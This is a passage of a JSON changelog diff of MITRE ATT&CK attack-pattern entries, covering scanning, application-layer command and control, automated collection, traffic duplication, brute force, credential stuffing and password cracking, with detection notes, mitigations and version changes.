>fic to an adversary-owned command and control server.(Citati>techniques/T1090) traffic to an adversary-owned command and 
>on: BlackWater Malware Cloudflare Workers)(Citation: AWS Lam>control server.(Citation: BlackWater Malware Cloudflare Work
>bda Redirector) As traffic generated by these functions will>ers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Scr
> appear to come from subdomains of common cloud providers, i>ipt Abuse 2021) As traffic generated by these functions will
>t may be difficult to distinguish from ordinary traffic to t> appear to come from subdomains of common cloud providers, i
>hese providers.(Citation: Detecting Command & Control in the>t may be difficult to distinguish from ordinary traffic to t
> Cloud)(Citation: BlackWater Malware Cloudflare Workers)>hese providers - making it easier to [Hide Infrastructure](h
 >ttps://attack.mitre.org/techniques/T1665).(Citation: Detecti
 >ng Command & Control in the Cloud)(Citation: BlackWater Malw
 >are Cloudflare Workers)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:54:23.193000+00:00", + "modified": "2024-10-15 13:46:55.039000+00:00", + "name": "Scanning IP Blocks", + "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1595/001", + "external_id": "T1595.001" + }, + { + "source_name": "Botnet Scan", + "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.", + "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Diego Sappa, Securonix" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_contributors']\": [\"Diego Sappa, Securonix\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 13:46:55.039000+00:00\", \"old_value\": \"2021-04-15 03:19:38.469000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Network Traffic: Network Traffic Content\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [ + "DS0029: Network Traffic (Network Traffic Content)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:56.776000+00:00", + "modified": "2024-08-28 14:10:33.145000+00:00", + "name": "Application Layer Protocol", + "description": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1071", + "external_id": "T1071" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Mandiant APT29 Eye Spy Email Nov 22", + "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", + "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Duane Michael" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-28 14:10:33.145000+00:00\", \"old_value\": \"2024-01-17 22:52:23.454000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \\n\\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) \", \"old_value\": \"Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \\n\\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \\n \\n-Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) \\n+Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) \"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may communicate using OSI application layer prott1Adversaries may communicate using OSI application layer prot
>ocols to avoid detection/network filtering by blending in wi>ocols to avoid detection/network filtering by blending in wi
>th existing traffic. Commands to the remote system, and ofte>th existing traffic. Commands to the remote system, and ofte
>n the results of those commands, will be embedded within the>n the results of those commands, will be embedded within the
> protocol traffic between the client and server.   Adversari> protocol traffic between the client and server.   Adversari
>es may utilize many different protocols, including those use>es may utilize many different protocols, including those use
>d for web browsing, transferring files, electronic mail, or >d for web browsing, transferring files, electronic mail, DNS
>DNS. For connections that occur internally within an enclave>, or publishing/subscribing. For connections that occur inte
> (such as those between a proxy or pivot node and other node>rnally within an enclave (such as those between a proxy or p
>s), commonly used protocols are SMB, SSH, or RDP.(Citation: >ivot node and other nodes), commonly used protocols are SMB,
>Mandiant APT29 Eye Spy Email Nov 22) > SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)
 > 
", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:27.985000+00:00", + "modified": "2024-09-25 20:40:07.791000+00:00", + "name": "Automated Collection", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1119", + "external_id": "T1119" + }, + { + "source_name": "Mandiant UNC3944 SMS Phishing 2023", + "description": "Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.", + "url": "https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Command: Command Execution", + "File: File Access", + "Script: Script Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "IaaS", + "SaaS", + "Office Suite" + ], + "x_mitre_system_requirements": [ + "Permissions to access directories, files, and API endpoints that store information of interest." + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:40:07.791000+00:00\", \"old_value\": \"2024-01-02 13:35:57.680000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Arun Seelagan, CISA\", \"root['x_mitre_data_sources'][0]\": \"User Account: User Account Authentication\", \"root['x_mitre_platforms'][5]\": \"Office Suite\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1029: Remote Data Storage", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [ + "DS0002: User Account (User Account Authentication)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 13:40:11.118000+00:00", + "modified": "2024-10-15 16:08:13.273000+00:00", + "name": "Traffic Duplication", + "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1020/001", + "external_id": "T1020.001" + }, + { + "source_name": "AWS Traffic Mirroring", + "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.", + "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html" + }, + { + "source_name": "Cisco Traffic Mirroring", + "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.", + "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html" + }, + { + "source_name": "GCP Packet Mirroring", + "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.", + "url": "https://cloud.google.com/vpc/docs/packet-mirroring" + }, + { + "source_name": "Juniper Traffic Mirroring", + "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.", + "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html" + }, + { + "source_name": "Azure Virtual Network TAP", + "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network", + "IaaS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_network_requirements']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:08:13.273000+00:00\", \"old_value\": \"2023-04-14 23:23:30.327000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1041: Encrypt Sensitive Information" + ], + "new": [ + "M1057: Data Loss Prevention" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:22.767000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Brute Force", + "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110", + "external_id": "T1110" + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html" + }, + { + "source_name": "Dragos Crashoverride 2018", + "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", + "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Magno Logan, @magnologan, Trend Micro", + "Yossi Weizman, Azure Defender Research Team", + "Ed Williams, Trustwave, SpiderLabs", + "Mohamed Kmal" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Command: Command Execution", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-01-29 18:53:26.593000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.6\", \"old_value\": \"2.5\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "2.5", + "version_change": "2.5 \u2192 2.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:39:59.959000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Credential Stuffing", + "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110/004", + "external_id": "T1110.004" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Diogo Fernandes", + "Anastasios Pingios" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "User Account: User Account Authentication" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-07 14:28:02.910000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:38:56.197000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Password Cracking", + "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110/002", + "external_id": "T1110.002" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + }, + { + "source_name": "Wikipedia Password cracking", + "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.", + "url": "https://en.wikipedia.org/wiki/Password_cracking" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mohamed Kmal" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "It is difficult to detect when hashes are cracked, 